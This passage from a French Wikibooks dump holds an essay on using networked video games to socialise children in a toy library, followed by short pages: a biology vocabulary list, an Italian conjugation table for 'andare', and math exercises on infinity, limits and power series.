virtuel, délimité par l'écran. Le jeu vidéo a cette particularité d'établir une communication entre l'être et la machine : nous ne sommes plus spectateurs mais acteurs du film. C'est ce que l'on appelle l'interactivité, qui diminue la distance entre le réel et le virtuel. Les jeux présentant des limites différentes de celles de la société permettent à l'individu de s'attribuer des pouvoirs surhumains. Nous avons tenu compte de ces risques lors de la mise en place de l'atelier et il semble que la meilleure manière de les éviter soit la verbalisation. Nous dialoguons constamment avec les enfants autour du jeu vidéo afin de leur faire prendre conscience de l'idée de fiction à incarner. Il ne faut cependant pas attribuer ce caractère uniquement aux jeux vidéo, les [[jeu de rôle|jeux de rôle]] ou les [[déguisement|déguisements]] par exemple, demandent aussi une attention toute particulière. « ''À mesure que se complexifient les jeux et que les jeux s'installent sur des réseaux plus performants, la vie collective retrouve ses structures de fonctionnement, ses dysfonctions et ses anomalies, ses délinquants et ses performants, ses violents et ses juges.'' » (Heaton & Lafrance, [[1994]]) Partant de cette assertion, notre démarche s'appuiera sur un dialogue accru, n'interdisant pas de franchir les limites de la société dans le jeu puisqu'il est conçu comme cela, et rappelant simplement mais systématiquement que le comportement que l'on peut avoir dans un jeu n'a pas de conséquences tangibles, au contraire de nos agissements dans la réalité. « ''Un comportement violent ne doit jamais être considéré simplement comme une réponse isolée à un aspect isolé de l'environnement, mais comme « révélateur » d'une façon individuelle et historiquement constituée d'appréhender les situations et les évènements et d'y faire face afin de les maîtriser'' » (Karli, [[1987]]). Les psychiatres considèrent le jeu comme exutoire à la violence : le fait d'agir de manière agressive dans un jeu vidéo permettrait de se libérer des frustrations de la vie courante, d'où le plaisir, incompris des adultes, que les enfants peuvent en retirer. Les jeux leur permettent de dépasser les interdits et de faire face à des évènements quotidiens qu'ils ne maîtrisent pas. Dans notre atelier, nous avons décidé de ne pas interdire les comportements associables dans le jeu, mais de profiter de la situation pour entamer un dialogue avec les jeunes sur les attitudes observées. « ''Les ados sont nombreux à rechercher des jeux violents, dans lesquels ils trouvent certes de la violence, mais également de l'agressivité, terme dont la signification est différente. En effet, l'agressivité est perçue comme un moyen de se faire une place dans la société, de s'affirmer. Par ailleurs, tous les jeux violents ne sont pas à jeter. Il faut distinguer les jeux dans lesquels le joueur tire sur tout ce qui bouge des jeux dans lesquels il doit élaborer une stratégie.'' » (Gabriel, [[1994]]) Le fait qu'un adolescent agisse de manière extrêmement violente peut également être considéré comme une provocation de sa part pour sonder le moment où les adultes vont réagir. Nous avons donc choisi de ne pas rester indifférents face à un enfant présentant un tel comportement. Nous nous en sommes remis à l'avis de Monsieur [[Ferdinand Ezembe]], psychologue au centre social de Sevran, qui nous a conseillé de mesurer ce type de comportement et d'agir immédiatement afin de ne pas mettre l'enfant en danger. Rester indifférent le pousserait à aller plus loin dans sa provocation. La démarche ne sera pas de lui interdire l'atelier, mais d'ouvrir le dialogue face à la conduite du jeune. ===Choix des jeux et du cadre de l'activité=== Afin de saisir les degrés de violence potentielle d'un jeu nous nous sommes appuyés sur les recherches du docteur [[Myriam Szejer]] ([[2002]]) qui en distingue trois types : *« Les jeux dans lesquels on se bat, qui présentent une dépendance par le stress », et qu'elle estime dangereux ; *« Les jeux où l'on construit, dans lesquels naît une élaboration ; entraînant une dépendance par le goût plus que par le stress », qu'elle décrit comme moins nocifs ; *« Les jeux en réseau, qui sont à double tranchant ; ils sont plus intéressants car l'enfant est moins seul avec la machine, il communique avec d'autres joueurs, mais ils accentuent la dépendance car la présence d'autres joueurs fait que l'enfant ne peut quitter le jeu quand il le souhaite. ». [[Myriam Szejer]] ajoute que certains enfants jouant en réseau sont en danger. Via les jeux en réseau, les adolescents font abstraction de leurs complexes, dont le complexe du corps, mais ils ne le dominent pas. En effet, la seule communication par le biais d'Internet n'est pas à encourager : l'enfant doit côtoyer d'autres enfants, être face à eux ; ce qui est possible en ludothèque. Nous décidons de suivre ces recommandations en optant pour le jeu en réseau, la dépendance étant limitée automatiquement par le cadre horaire de l'atelier, soit une heure par semaine. Nous mettons en place des séances de préparation au jeu où les enfants se retrouvent autour d'une table et se donnent des méthodes, des conseils pour jouer, échangent des astuces, élaborent des stratégies… Dans la mesure où les enfants participant à cet atelier, âgés de six à quinze ans, présentent pour certains des difficultés de communication entre eux et avec les adultes (de l'inhibition à l'agressivité), nous avons pu remarquer que la structure de « La Ludicité » avait apporté des réponses aux effets négatifs potentiellement induits par les jeux vidéo. La dernière phase de notre recherche nous a amené à sélectionner plusieurs jeux. Par exemple, l'un d'eux propose le développement d'une civilisation : les joueurs débutent avec un bâtiment et quelques hommes et doivent exploiter les ressources naturelles de l'univers afin de construire d'autres édifices et de développer les compétences de leurs personnages. L'objectif final est la construction monumentale d'une « merveille », signe de réussite d'une civilisation. ==Le jeu vidéo : un outil moderne de socialisation== Nous commenterons dans cette seconde partie les effets observés durant notre atelier. Cette analyse ne prétend pas être un modèle général mais seulement le rapport d'une observation ponctuelle sur un atelier précis. Nous relaterons donc simplement les effets positifs observés et proposerons une série de recommandations aux professionnels qui souhaiteraient mettre en place le même type de projet, concernant les aspects négatifs. ===Plaisir, partage et socialisation=== Le premier point à souligner est le plaisir avec lequel notre public participe à l'atelier : le média utilisé fait l'unanimité, et à l'encontre des préjugés existant, y compris auprès des filles. Nous constatons que le jeu vidéo possède les mêmes propriétés que les autres jeux. L'enfant y trouve le « plaisir de ne rien faire », dans le sens où il agit sans se soucier des conséquences de ses actes. Cependant il réalise des performances, élabore telle ou telle stratégie pour atteindre son but. Il doit, en tant qu'acteur du film, prendre en compte ses propres compétences (de réflexion, de rapidité …) et les capacités de son personnage virtuel (Lespinasse, [[1993]]). Cela le pousse à une analyse complexe qui le mène à la construction d'une stratégie individuelle. Cet effort n'est pas sans résultats, car à la vue d'une réussite dans le jeu, les autres enfants sont très curieux de la méthode utilisée. Et c'est là le plus intéressant : le jeu vidéo (dans le cadre de l'atelier) est loin du stéréotype « l'enfant seul devant son écran ». Il constitue au contraire un réel facteur de socialisation. L'atelier amène les enfants à écouter, entendre, parler… S'ils souhaitent avancer dans le jeu, ils sont forcés d'échanger leurs découvertes. Nous assistons à la création naturelle d'une communauté de joueurs. Les enfants apprennent à connaître l'autre, à le reconnaître, à l'accepter et par la même à mieux se connaître eux-mêmes. Ainsi, de multiples phénomènes de coopération et de compétition entre enfants et adolescents ont lieu. Le jeu permettant de s'allier avec d'autres joueurs, des équipes se créent. L'objectif commun du groupe instaure une nouvelle relation entre les enfants mais aussi avec les adultes. L'atelier permet aux enfants de prendre conscience de la nécessité et de l'efficacité du travail en équipe. Ils prennent confiance en eux-mêmes grâce aux responsabilités confiées par le groupe à chaque individu. Ils se spécialisent peu à peu dans une action spécifique au jeu et deviennent à la vue de leur équipe le garant de cette dernière. Cette démarche permet à certains d'oublier rapidement les difficultés qu'ils avaient à s'exprimer face au groupe. L'inhibition disparaît pour laisser place à la confiance en soi. D'ailleurs, les enfants d'apparence réservés sont souvent assez performants dans ce type d'activité. Ils occupent par conséquent une position primordiale dans le déroulement du jeu, voire la place de meneur de l'équipe. Le jeu vidéo nous a démontré son utilité en matière de valorisation de l'enfant. À de multiples reprises des enfants en échec scolaire ou présentant des difficultés de socialisation se sont mis en valeur grâce au jeu vidéo. Grâce à leur investissement, leur demande et leur volontariat, les enfants développent « naturellement » des compétences telles que l'autonomie, la gestion du temps et de l'espace. Ils sont demandeurs d'apprentissages sur le jeu qui leur permettent d'accéder à un résultat de qualité. L'accès à la construction de la « merveille » (étape finale de certains jeux vidéo) est très valorisant car c'est leurs compétences alliées qui ont permis cette réussite. Par-là ils communiquent, apprennent à transmettre et recevoir un message et à écouter les messages des autres. ===Un dialogue avec l'adulte, une conscience du jouer=== Nous avons été très attentifs au phénomène d'interactivité qui est constamment décrié comme étant le grand danger. Les participants de notre atelier ont toujours été dans des conditions de jeu. Nous avons veillé également à intercaler des séances de verbalisation des sensations et sentiments qu'induisent le jeu. À tout moment, les enfants étaient conscients qu'ils jouaient. À titre d'exemple, le dialogue que j'ai eu avec J. (12 ans) pendant une pause : :Ludothécaire : « ''Que vas-tu faire maintenant ?'' » :J. : « ''Je finis de construire mon château et je vais attaquer les rouges avec FX.'' » :Ludothécaire : « ''Ce n'est pas toi qui attaques ou qui construis.'' » :J. : « ''Si c'est moi ! ! !'' » :Ludothécaire : « ''Non, ce sont les personnages du jeu. Et toi, tu te sers de ces personnages pour jouer.'' » :J. (avec un sourire ironique) : « ''Ben oui, je suis pas débile. Je vois bien que je ne suis pas dans l'ordinateur.'' » Cet échange montre bien que l'enfant est conscient qu'il joue, qu'il fait semblant (le fait même de lui rappeler le fait sourire). De plus, l'enfant se sent valorisé car le jeu vidéo est un sujet qu'il maîtrise mieux que l'adulte. Il a pour une fois la possibilité d'apprendre quelque chose à ses aînés. C'est un des points positifs du jeu qui par conséquent se présente comme un formidable outil de communication intergénérationnelle. Quant au ludothécaire, il connaît parfaitement les jeux vidéo de son établissement et devient « centre de ressources » pour le jeune public mais aussi pour les parents qui se questionnent sur les jeux de leur enfant. Cette maîtrise est indispensable pour mener l'atelier. Plaisir, échange, communication, notamment intergénérationnelle, socialisation… voici divers aspects positifs des jeux vidéo. L'atelier peut être un espace permettant à tous de dialoguer en oubliant les contraintes et rapports de la vie quotidienne. De plus, c'est un outil de médiation pour les adolescents qui sont moins ouverts à d'autres types d'activités. ==Conclusion== Une préparation sérieuse est indispensable pour la mise en place d'un atelier de [[jeu vidéo]] au sein d'une [[ludothèque]], c'est du moins la leçon du terrain. Le [[ludothécaire]] (ou l'animateur) doit être sensibilisé aux risques que présente ce type de jeu. Nous lui conseillons la lecture d'ouvrages et la visite préalable d'autres structures. Le professionnel doit être attentif aux réactions des enfants : la tendance est à une nette amélioration des comportements, mais certains abus peuvent survenir (prise de pouvoir brutale par exemple), qui se résolvent rapidement lorsque l'atelier est bien préparé et suivi. Plaisir, respect de soi, respect des autres, sensibilisation au travail d'équipe, prise d'initiatives, de responsabilités, affirmation personnelle, autonomie, coopération, valorisation… autant de bénéfices indéniables d'un tel atelier, car au-delà de l'apprentissage naturel de la socialisation, les enfants développent aussi leurs capacités cognitives, et leur connaissance des nouvelles technologies… Nous ne saurions trop conseiller aux ludothécaires de mener cette expérience qui, en plus de faire pleinement partie de leurs missions, leur fera découvrir une nouvelle forme de jeux bénéfiques, passionnants et enrichissants. == Bibliographie == *Gabriel E.-E., [[1994]], Que faire avec les jeux vidéo ?, Paris, Hachette Education. *Heaton L. & Lafrance J.-P., [[1994]], « Les communautés virtuelles ludiques - réflexion sur les jeux Multi-Utilisateurs », Réseaux, n°67, Paris, C. N. E. T. *Karli P., [[1987]], L'homme agressif, Paris, Odile Jacob. *[http://perso.wanadoo.fr/fr.lespinasse/jeuvisou.html] Lespinasse F., [[1993]], « Une histoire de sous, ou une histoire, dessous ? » *[http://www.bfe.asso.fr/nlettre4.htm] Masnou P., [[1999]], La lettre du Bureau Français de l'Epilepsie, nouvelle série n°4, Paris *[http://musee-du-jouet.com] Sezjer M., [[2002]], interview dans « Le jeu vidéo », Jouet Mag ! Le mensuel d'informations sur les jeux et les jouets, n°18] [[Catégorie:Jeu vidéo]] Celestia:Snapshots and Movies 3951 15417 2005-06-12T14:17:25Z JihemD 346 [[Celestia]]|Celestia:Extraits et mini-films <gallery> Image:De Terre a Voie Lactée.gif|de notre [[w:Terre|Terre]] à notre [[w:Galaxie|Galaxie]] Image:Galileo Jupiter.gif|La [[w:Sonde Galileo|Sonde Galileo]] autour de [[w:Jupiter (Planète)|Jupiter]] </gallery> Anglais : Biology, la biologie 3955 16235 2005-07-07T13:34:04Z Antoinel 182 == == a cell : ''une cellule'' <br /> a chromosome : ''un chromosome''<br />a chromatid : une ''chromatide''<br />the centromere : ''le centromère''<br />homologous chromosomes : ''des chromosomes homologues''<br />deoxyribonucleic acid (DNA) : ''acide désoxyribonucléique (ADN)''<br />ribonucleic acid (RNA) : ''acide ribonucléique (ARN)''<br />DNA polymerase : ''ADN polymérase''<br />transfer RNA (tRNA) : ''ARN de transfert (ARNt)''<br />messenger RNA (mRNA) : ''ARN messager (ARNm)''<br />amino acid : ''acide aminé''<br />the translation : ''traduction''<br />reverse transcriptase : ''transcriptase inverse''<br />transcription : ''transcription'' <br /> mitosis : ''la mitose''<br />meiosis : ''la méiose'' ---- Cette page est dérivée du projet [http://fury.language.free.fr/wikini/wakka.php?wiki=EngFraBioinformatics fury language] ---- Retour au [[Enseignement de l'anglais|sommaire]] ---- Image:Points sur un segment et un carré.png 3956 15422 2005-06-13T15:32:28Z Jim2k 289 Image issue du wikibooks anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Points_on_a_line_and_a_plane.png Image issue du wikibooks anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Points_on_a_line_and_a_plane.png 1ère conjugaison - andare (aller) 3958 15424 2005-06-13T20:50:38Z 151.42.169.94 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">vado</div> </td> <td width="26%"> <div align="center">andavo</div> </td> <td width="27%"> <div align="center">andr&ograve;</div> </td> <td width="24%"> <div align="center">andai</div> </td> </tr> <tr> <td width="23%"> <div align="center">vai</div> </td> <td width="26%"> <div align="center">andavi</div> </td> <td width="27%"> <div align="center">andrai</div> </td> <td width="24%"> <div align="center">andasti</div> </td> </tr> <tr> <td width="23%"> <div align="center">va</div> </td> <td width="26%"> <div align="center">andava</div> </td> <td width="27%"> <div align="center">andr&agrave;</div> </td> <td width="24%"> <div align="center">and&ograve;</div> </td> </tr> <tr> <td width="23%"> <div align="center">andiamo</div> </td> <td width="26%"> <div align="center">andavamo</div> </td> <td width="27%"> <div align="center">andremo</div> </td> <td width="24%"> <div align="center">andammo</div> </td> </tr> <tr> <td width="23%"> <div align="center">andate</div> </td> <td width="26%"> <div align="center">andavate</div> </td> <td width="27%"> <div align="center">andrete</div> </td> <td width="24%"> <div align="center">andaste</div> </td> </tr> <tr> <td width="23%"> <div align="center">vanno</div> </td> <td width="26%"> <div align="center">andavano</div> </td> <td width="27%"> <div align="center">andranno</div> </td> <td width="24%"> <div align="center">andarono</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">sono andato</div> <td width="26%"> <div align="center">ero andato</div> </td> <td width="27%"> <div align="center">sar&ograve; andato</div> </td> <td width="24%"> <div align="center">fui andato</div> </td> </tr> <tr> <td width="23%"> <div align="center">sei andato</div> </td> <td width="26%"> <div align="center">eri andato</div> </td> <td width="27%"> <div align="center">sarai andato</div> </td> <td width="24%"> <div align="center">fosti andato</div> </td> </tr> <tr> <td width="23%"> <div align="center">è andato</div> </td> <td width="26%"> <div align="center">era andato</div> </td> <td width="27%"> <div align="center">sar&agrave; andato</div> </td> <td width="24%"> <div align="center">fu andato</div> </td> </tr> <tr> <td width="23%"> <div align="center">siamo andati</div> </td> <td width="26%"> <div align="center">eravamo andati</div> </td> <td width="27%"> <div align="center">saremo andati</div> </td> <td width="24%"> <div align="center">fummo andati</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">siete andati</div> </td> <td width="26%" height="13"> <div align="center">eravate andati</div> </td> <td width="27%" height="13"> <div align="center">sarete andati</div> </td> <td width="24%" height="13"> <div align="center">foste andati</div> </td> </tr> <tr> <td width="23%"> <div align="center">sono andati</div> </td> <td width="26%"> <div align="center">erano andati</div> </td> <td width="27%"> <div align="center">saranno andati</div> </td> <td width="24%"> <div align="center">furono andati</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">vada</div> </td> <td width="26%"> <div align="center">andassi</div> </td> <td width="27%"> <div align="center">sia andato</div> </td> <td width="24%"> <div align="center">fossi andato</div> </td> </tr> <tr> <td width="23%"> <div align="center">vada</div> </td> <td width="26%"> <div align="center">andassi</div> <td width="27%"> <div align="center">sia andato</div> </td> <td width="24%"> <div align="center">fossi andato</div> </td> </tr> <tr> <td width="23%"> <div align="center">vada</div> </td> <td width="26%"> <div align="center">andasse</div> </td> <td width="27%"> <div align="center">sia andato</div> </td> <td width="24%"> <div align="center">fosse andato</div> </td> </tr> <tr> <td width="23%"> <div align="center">andiamo</div> </td> <td width="26%"> <div align="center">andassimo</div> </td> <td width="27%"> <div align="center">siamo andati</div> </td> <td width="24%"> <div align="center">fossimo andati</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">andiate</div> </td> <td width="26%" height="13"> <div align="center">andaste</div> </td> <td width="27%" height="13"> <div align="center">siate andati</div> </td> <td width="24%" height="13"> <div align="center">foste andati</div> </td> </tr> <tr> <td width="23%"> <div align="center">vadano</div> </td> <td width="26%"> <div align="center">andassero</div> </td> <td width="27%"> <div align="center">siano andati</div> </td> <td width="24%"> <div align="center">fossero andati</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">andrei</div> </td> <td width="26%"> <div align="center">sarei andato</div> </td> <td width="27%"> <div align="center"></div> </td> <td width="24%"> <div align="center">andato</div> </td> </tr> <tr> <td width="23%"> <div align="center">andresti</div> </td> <td width="26%"> <div align="center">saresti andato</div> </td> <td width="27%"> <div align="center">vai</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">andrebbe</div> </td> <td width="26%"> <div align="center">sarebbe andato</div> </td> <td width="27%"> <div align="center">vada</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">andremmo</div> </td> <td width="26%"> <div align="center">saremmo andati</div> </td> <td width="27%"> <div align="center">andiamo</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">andreste</div> </td> <td width="26%" height="13"> <div align="center">sareste andati</div> </td> <td width="27%" height="13"> <div align="center">andate</div> </td> <td width="24%" height="13"> <div align="center"></div> </td> </tr> <tr> <td width="23%"> <div align="center">andrebbero</div> </td> <td width="26%"> <div align="center">sarebbero andati</div> </td> <td width="27%"> <div align="center">vadano</div> </td> <td width="24%"> <div align="center"></div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''INFINITIF'''</div> </td> <td height="52"> <div align="center">'''G&Eacute;RONDIF'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Pass&eacute;'''</div> </td> <td width="27%" bgcolor="#E6CCF2"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td width="24%" bgcolor="#BCE9A7"> <div align="center">'''Pass&eacute;'''</div> </td> </tr> <tr> <td width="23%"> <div align="center"`>andare</div> <td width="26%"> <div align="center">essere andato</div> </td> <td width="27%"> <div align="center">andando</div> </td> <td width="24%"> <div align="center">essendo andato</div> </td> </tr> </table> Image:Représentation série géométrique.png 3960 15426 2005-06-14T15:52:31Z Jim2k 289 Image issue du wikibooks anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Geometric_series_representation.png Image issue du wikibooks anglais à l'adresse : http://en.wikibooks.org/wiki/Image:Geometric_series_representation.png AL SE Infini et processus infinis 3962 15428 2005-06-14T20:58:11Z Jim2k 289 ==[[AL Infini et processus infinis|Infini et processus infinis]]== <blockquote style="padding: 1em; border: 2px dotted purple;"> Ces solutions n'ont pas été écrites par l'auteur du reste de ce livre. Ce sont simplement les réponses que je pense être correctes pendant que je faisais les exercices. J'espère que ces réponses sont utiles pour quelqu'un et que mon travail sera corrigé s'il contient des fautes. </blockquote> ===Quel est la taille de l'infini ? exercices=== #Le nombre de nombres pairs est le même que le nombres de nombres naturels parcequ'ils sont tous les deux infinis dénombrables. Vous pouvez voir la bijection. (P veut dire nombres Pairs et N veut dire nombres naturels) :'''P''' &nbsp; '''N''' : 2 &nbsp; 1 : 4 &nbsp; 2 : 6 &nbsp; 3 : 8 &nbsp; 4 2. Le nombre de nombres carrés est aussi égal au nombre de nombres naturels. Ils sont tous les deux infinis dénombrables et peuvent être mis en bijection. (C veut dire nombres Carrés et N veut dire nombres Naturels) :'''C''' &nbsp; '''N''' : 1 &nbsp; 1 : 4 &nbsp; 2 : 9 &nbsp; 3 : 16 &nbsp; 4 3. Le cardinal des nombres pairs inférieurs à 100 n'est pas égal au cardinal des nombres naturels inférieurs à 100. Vous pouvez simplement écrire les deux et compter les nombres. Alors, vous verrez que le cardinal des nombres pairs inférieurs à 100 est 49 et que le cardinal des nombres naturels inférieurs à 100 est 99. Ainsi, l'ensemble des nombres naturels inférieur à 100 est plus grand que l'ensemble des nombres pairs inférieurs à 100. La grande différence entre ensembles finis et infinis est qu'un ensemble fini ne peut pas être mis en bijection avec n'importe lequel de ses sous-ensembles. Alors qu'un ensemble infini peut être mis en bijection avec au moins un de ses sous-ensembles.<br/> 4. Chaque partie de la somme est renseignée ci-dessous :<math>\infty + 1 = \infty\,</math> :Vous pouvez démontrer ceci en prenant un ensemble de cardinal 1, par exemple, un ensemble constitué seulement du nombre 0. Vous additionnez simplement cet ensemble avec l'ensemble dénombrable infini pour mettre l'ensemble infini et l'ensemble infini+1 en bijection. ::'''N''' &nbsp; '''N+1''' :: 1 &nbsp; 0 :: 2 &nbsp; 1 :: 3 &nbsp; 2 :: 4 &nbsp; 3 :<math>\infty + A = \infty\,</math> (où A est un ensemble fini) :Vous ajoutez simplement l'ensemble fini avec l'ensemble infini comme ci-dessus, à la différence que l'ensemble fini n'a pas besoin d'avoir le cardinal 1. :<math>\infty + C = \infty\,</math> (où C est un ensemble dénombrable infini) :Vous prenez un article de chaque ensemble (infini ou C) alternativement, ceci fera une nouvelle liste infinie dénombrable également. ===L'ensemble des nombres rationnels est-il plus grand que N ? exercices=== 1. Pour changer la matrice de Q' vers Q, la première étape dont vous avez besoin est d'enlever les entrées multiples d'un même nombre. Vous pouvez faire ceci en laissant un espace vide dans la table lorsque pgcd(nbhaut,nbbas)&ne;1 parceque lorsque le pgcd n'est pas 1, la fraction peut être simplifiée en divisant le nombre du haut et du bas par le pgcd. Ceci vous donnera la table suivante. :<math>\begin{matrix}\frac{1}{1} & \frac{1}{2} & \frac{1}{3} & \cdots\\ & & \\\frac{2}{1} & & \frac{2}{3} & \cdots\\ & & \\\frac{3}{1} & \frac{3}{2} & & \cdots\\\vdots & \vdots & \vdots & \ddots\end{matrix}</math> Maintenant, nous avons seulement besoin d'ajouter zéro à la matrice et nous aurons terminé. Donc, nous ajoutons une ligne verticale pour zéro et nous écrivons l'élément le plus haut (0/1) (prendre le pgcd ne marche pas ici parceque pgcd(0,a)=a). Ceci nous donne la table suivante où nous avons compté toutes les fractions dans la ligne diagonale pour voir que <math>\mathbb{Q}\,</math> est infini dénombrable. :<math>\begin{matrix}\frac{0}{1} & \frac{1}{1} & \frac{1}{2} & \frac{1}{3} & \cdots\\ & & \\ & \frac{2}{1} & & \frac{2}{3} & \cdots\\ & & \\ & \frac{3}{1} & \frac{3}{2} & & \cdots\\\vdots & \vdots & \vdots & \vdots & \ddots\end{matrix}</math> 2. Pour montrer que <math> \infty \times \infty = \infty </math>, vous devez faire une table où vous mettez un infini dans la ligne horizontale et un infini dans la ligne verticale. Maintenant, vous pouvez commencer le dénombrement des places dans la table de manière diagonale comme nous l'avons fait pour <math>\mathbb{Q'}\,</math>. Ceci marche parcequ'une table de taille AxB contient A*B places. ===Exercices sur les limites=== #<math>\lim_{x \to \infty}\frac{3x^2 -4}{2x^2 +x} = \lim_{x \to \infty}(\frac{3x^2}{2x^2 +x} - \frac{4}{2x^2 +x}) = \lim_{x \to \infty}\frac{3x^2}{2x^2 +x} = \frac{3}{2}</math> #<math>\lim_{x \to \infty}\frac{x^2 -1}{2x^3 +3} = 0</math> #<math>\lim_{x \to \infty}\frac{cos x}{x^2} = \lim_{x \to \infty}\frac{1}{x^2}cos x = 0</math> #<math>\lim_{x \to \infty}(2x^2 -x^4) = \lim_{x \to \infty}x^2\times(2 -x^2) = -\infty </math> AL Dénombrement et séries de puissances 3964 42987 2006-05-22T12:45:03Z 139.124.179.140 /* Séries de puissances */ [[Approfondissements de lycée|Approfondissements de lycée]] '''Avant de commencer :''' Ce chapitre suppose des connaissances en # Permutations et combinaisons vues dans le chapitre [[AL Dénombrement de base|Dénombrement de base]], # [[AL Fractions partielles|Méthode de fractions partielles]] et, # Compétence en manipulation de [[AL Signe de sommation|signes de sommation]] ==Séries de puissances== Les séries de puissances formelles sont très utiles pour résoudre des problèmes comme : :<math>x_1 + x_2 + 2x_3 = m\,</math> où :<math> x_n \ge 0</math>; n = 1, 2, 3 Combien de solutions uniques existe-t'il si <math>m = 55\,</math> ? Avant d'attaquer ce problème, considérons le polynôme infini : :<math>S = 1 + x + x^2 + x^3 + \ldots + x^n + x^{n+1}\ldots </math> Nous voulons obtenir une ''forme fermée'' de ce polynôme infini. La ''forme fermée'' est simplement une manière d'exprimer le polynôme pour qu'il implique seulement un nombre fini d'opérations. :<math> \begin{matrix} S &=& 1 + &x + x^2 + x^3 + ... \\ xS &=& &x + x^2 + x^3 + ...\\ \\ (1 - x)S &=& 1 \\ S &=& \frac{1}{1 - x} \end{matrix} </math> Donc, la forme fermée de :<math>1 + x + x^2 + x^3 + \ldots\,</math> est :<math> \frac{1}{1 - x} </math> Nous pouvons les égaliser (actuellement, nous ne pouvons pas. Cf. info). :<math> 1 + x + x^2 + x^3 + ... = \frac{1}{1 - x} \ ; \ -1 < x < 1 </math> ==== info - Somme infinies ==== <blockquote style="padding: 1em; border: 2px dotted purple;"> Les deux expressions ne sont pas ''égales''. C'est simplement le cas pour certaines valeurs de ''x'' (-1 < x < -1), nous pouvons faire une approximation du coté droit ''aussi près que possible'' en ajoutant un grand nombre de termes du coté gauche. Par exemple, supposons ''x'' = 1/2, le coté droit = 2; l'approximation du coté gauche en utilisant seulement 5 termes 1 + 1/2 + 1/4 + 1/8 + 1/16 = 1,9375, qui est proche de 2, comme vous pouvez l'imaginer, en additionnant de plus en plus de termes, nous approcherons de 2. <br> Pour une discussion plus détaillée de ceci, voir [[AL Infini et processus infinis|Infini et processus infinis]]. </blockquote> De toute manière, nous ne ferons attention qu'aux belles propriétés algébriques et non aux valeurs numériques. A partir de maintenant, nous omettrons la condition pour que l'égalité soit vraie lorsque nous écrivons les séries de puissances. Considérons un cas plus général : :<math> S = A + ABx + AB^2x^2 + AB^3x^3 + ... </math> où ''A'' et ''B'' sont des constantes. Nous pouvons déduire la ''forme fermée'' comme suit : :<math> \begin{matrix} S &=& A + &ABx + AB^2x^2 + AB^3x^3 + ... \\ BxS &=& &ABx + AB^2x^2 + AB^3x^3 + ... \\ \\ (1 - Bx)S &=& A \\ S &=& \frac{A}{1 - Bx} \end{matrix} </math> L'identité suivante que l'on a déduit ci-dessus prend du temps et un effort de mémorisation. :<math> A + ABx + AB^2x^2 + AB^3x^3 + ... = \frac{A}{1 - Bx} </math> ===Exercices=== 1. Trouver la forme fermée : :(a)<math> 1 - z + z^2 - z^3 + z^4 - z^5 + \ldots\,</math> :(b)<math> 1 + 2z + 4z^2 + 8z^3 + 16z^4 + 32z^5 + \ldots\,</math> :(c)<math> z + z^2 + z^3 + z^4 + z^5 + \ldots\,</math> :(d)<math> 3 - 4z + 4z^2 - 4z^3 + 4z^4 - 4z^5 + \ldots\,</math> :(e)<math> 1 - z^2 + z^4 - z^6 + z^8 - z^{10} + \ldots\,</math> 2. Pour une forme fermée donnée, trouver une fonction f(n) pour les coefficients de x<sup>n</sup>: :(a)<math>\frac{1}{1 + z} </math> (Astuce : noter le signe plus au dénominateur) :(b)<math>\frac{z^3}{1 - z^2} </math> (Astuce : obtenir la série de puissances pour <math>\frac{1}{(1 - z^2)}\,</math> d'abord, puis multiplier par l'expression appropriée) :(c)<math>\frac{z^2 - 1}{1 + 3z^3} </math> (Astuce : scinder en une somme de deux formes fermées distinctes) === Méthode de substitution === Soit 